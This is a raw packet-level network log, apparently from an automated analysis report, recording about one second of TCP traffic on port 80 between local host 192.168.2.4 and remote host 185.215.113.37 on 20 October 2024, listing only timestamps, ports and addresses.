Oct 20, 2024 06:40:06.470288038 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.470307112 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.470324039 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.470444918 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.470455885 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.470465899 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.470494986 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.470518112 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.647989035 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.648066044 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.648111105 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.648123980 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.648137093 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.648147106 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.648155928 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.648165941 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.648168087 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.648190975 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.648211002 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.648231983 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.648231983 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.648241997 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.648262978 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.648293972 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.648334980 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.648345947 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.648356915 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.648367882 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.648389101 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.648405075 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.648411036 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.648437023 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.648464918 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.648714066 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.648722887 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.648772955 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.648792028 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.648843050 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.648854971 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.648865938 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.648880005 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.648900032 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.648927927 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.648935080 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.648947001 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.648988008 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.648991108 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.649034023 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.649044037 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.649053097 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.649070024 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.649087906 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.649116993 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.649147034 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.649158955 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.649168968 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.649190903 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.649204016 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.649235964 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.649525881 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.649568081 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.649576902 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.649580002 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.649611950 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.649651051 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.649667025 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.649678946 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.649691105 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.649696112 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.649724960 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.649751902 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.650376081 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.650423050 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.650425911 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.650434971 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.650468111 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.650475979 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.650479078 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.650506973 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.650521040 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.650525093 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.650552988 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.650572062 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.650602102 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.650613070 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.650624037 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.650635958 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.650659084 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.650686979 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.650789022 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.650800943 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.650810957 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.650821924 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.650835037 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.650839090 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.650860071 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.650878906 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.650890112 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.650902033 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.650940895 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.650971889 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.650983095 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.650993109 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.651004076 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.651019096 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.651021004 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.651040077 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.651067019 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.651151896 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.651165009 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.651175022 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.651185989 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.651196957 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.651205063 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.651220083 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.651241064 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.651292086 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.651303053 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.651313066 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.651324987 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.651341915 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.651371956 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.651453018 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.651463985 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.651473999 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.651484013 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.651494026 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.651504993 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.651516914 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.651530027 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.651530981 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.651541948 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.651546955 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.651554108 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.651563883 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.651576042 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.651577950 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.651588917 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.651609898 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.651632071 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.651825905 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.651837111 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.651848078 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.651859999 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.651873112 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.651882887 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.651900053 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.651918888 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.651920080 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.651932001 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.651941061 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.651952982 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.651959896 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.651964903 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.651977062 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.651983023 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.651988983 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.652004957 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.652012110 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.652035952 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.652061939 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.652200937 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.652213097 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.652223110 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.652246952 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.652271986 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.652360916 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.652373075 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.652383089 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.652395010 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.652405024 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.652415037 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.652417898 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.652427912 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.652446032 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.652448893 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.652456999 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.652458906 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.652467966 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.652477980 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.652489901 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.652493000 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.652502060 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.652513027 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.652522087 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.652525902 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.652545929 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.652565002 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.652954102 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.652965069 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.652975082 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.652985096 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.652997971 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.653007030 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.653007984 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.653021097 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.653026104 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.653031111 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.653042078 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.653048038 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.653053045 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.653069973 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.653073072 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.653084040 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.653090000 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.653095007 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.653106928 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.653111935 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.653116941 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.653127909 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.653139114 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.653143883 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.653151035 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.653166056 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.653177977 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.653178930 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.653188944 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.653197050 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.653199911 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.653212070 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.653223991 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.653230906 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.653234959 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.653248072 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.653258085 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.653263092 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.653274059 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.653281927 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.653285980 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.653296947 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.653311014 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.653347015 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.653862953 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.653876066 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.653886080 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.653897047 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.653908014 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.653917074 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.653919935 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.653930902 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.653943062 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.653951883 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.653958082 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.653964043 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.653975010 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.653985023 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.653986931 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.654000044 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.654004097 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.654026031 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.654045105 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.654123068 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.654134989 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.654145956 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.654175043 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.654200077 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.654205084 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.654217005 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.654254913 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.654301882 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.654310942 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.654349089 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.654442072 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.654491901 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.654503107 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.654515028 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.654536963 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.654551983 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.654580116 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.655021906 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.655042887 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.655052900 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.655075073 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.655096054 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.655131102 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.655143023 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.655168056 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.655177116 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.655179977 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.655190945 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.655217886 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.655234098 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.655483007 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.655493021 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.655538082 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.911062956 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.911103010 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.911119938 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.911175013 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.911190033 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.911200047 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.911209106 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.911220074 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.911336899 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.911336899 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.911336899 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.911406994 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.911418915 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.911428928 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.911462069 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.911487103 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.911488056 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.911499023 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.911509991 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.911520958 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.911533117 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.911537886 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.911544085 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.911566019 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.911590099 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.911792040 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.911803007 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.911849976 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:07.249200106 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:07.249346972 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:07.249357939 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:07.249368906 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:07.249378920 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:07.249389887 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:07.249399900 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:07.249413013 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:07.249414921 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:07.249414921 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:07.249450922 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:07.249470949 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:07.249526024 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:07.249536037 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:07.249547005 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:07.249557018 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:07.249567986 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:07.249576092 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:07.249578953 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:07.249593019 CEST	80	49730	185.215.113.37	192.168.2.4
